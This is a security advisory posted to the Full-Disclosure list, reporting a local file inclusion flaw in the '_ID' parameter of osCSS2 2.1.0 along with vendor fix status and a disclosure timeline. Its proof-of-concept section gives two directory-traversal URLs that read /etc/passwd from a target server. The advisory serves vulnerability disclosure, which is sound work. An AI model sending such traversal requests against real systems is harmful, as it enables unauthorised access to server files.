[Full-disclosure] osCSS2 "_ID" parameter Local file inclusion

[SSchurtz at t-online.de]

Advisory:          	osCSS2 "_ID" parameter Local file inclusion
Advisory ID:           	SSCHADV2011-034
Author:                	Stefan Schurtz
Affected Software:  	Successfully tested on osCSS2 2.1.0 (latest
version)
Vendor URL:          	http://oscss.org/
Vendor Status:       	Fixed in svn branche 2.1.0 and reported in develop
version 2.1.1

==========================
Vulnerability Description
==========================

osCSS2 2.1.0 "_ID" parameter is prone to a LFI vulnerability

==================
PoC-Exploit
==================

http://<target>/catalog/shopping_cart.php?_ID=../../../../../../../../../../../etc/passwd
http://<target>/catalog/content.php?_ID=../../../../../../../../../../../etc/passwd

=========
Solution
=========

Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

====================
Disclosure Timeline
====================

08-Nov-2011 - informed vendor
08-Nov-2011 - release date of this security advisory
08-Nov-2011 - fixed by vendor
08-Nov-2011 - post on BugTraq

========
Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References
===========

http://oscss.org/
http://forums.oscss.org/2-security/oscss2-id-parameter-local-file-inclusion-t1999.html
http://dev.oscss.org/task/892
http://www.rul3z.de/advisories/SSCHADV2011-034.txt